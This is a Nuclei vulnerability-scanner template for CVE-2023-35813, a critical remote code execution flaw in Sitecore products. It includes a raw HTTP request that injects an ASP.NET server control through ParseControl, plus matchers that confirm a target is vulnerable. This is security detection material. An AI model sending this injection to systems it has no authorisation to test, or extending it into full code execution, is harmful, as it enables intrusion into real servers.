nuclei-templates/http/cves/2023/CVE-2023-35813.yaml

id: CVE-2023-35813

info:
  name: Sitecore - Remote Code Execution
  author: DhiyaneshDk,iamnoooob
  severity: critical
  description: |
    Multiple Sitecore products allow remote code execution. This affects Experience Manager, Experience Platform, and Experience Commerce through 10.3.
  reference:
    - https://support.sitecore.com/kb?id=kb_article_view\u0026sysparm_article=KB1002979
    - https://code-white.com/blog/exploiting-asp.net-templateparser-part-1/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-35813
    - https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1002979
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-35813
    cwe-id: CWE-22,CWE-23
    epss-score: 0.24939
    epss-percentile: 0.96185
    cpe: cpe:2.3:a:sitecore:experience_commerce:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sitecore
    product: experience_commerce
    shodan-query: title:"Sitecore"
  tags: cve,cve2023,sitecore,rce
variables:
  string: "{{rand_base(6)}}"
  payload: |
    <%@Register
        TagPrefix = 'x'
        Namespace = 'System.Runtime.Remoting.Services'
        Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
    %>
    <x:RemotingService runat='server'
        Context-Response-ContentType='{{string}}'
    />

http:
  - raw:
      - |
        POST /sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl("{{url_encode(payload)}}")

    matchers:
      - type: dsl
        dsl:
          - contains(content_type, '{{string}}')
          - contains_all(body, 'commands', 'command', 'value')
          - status_code == 200
        condition: and

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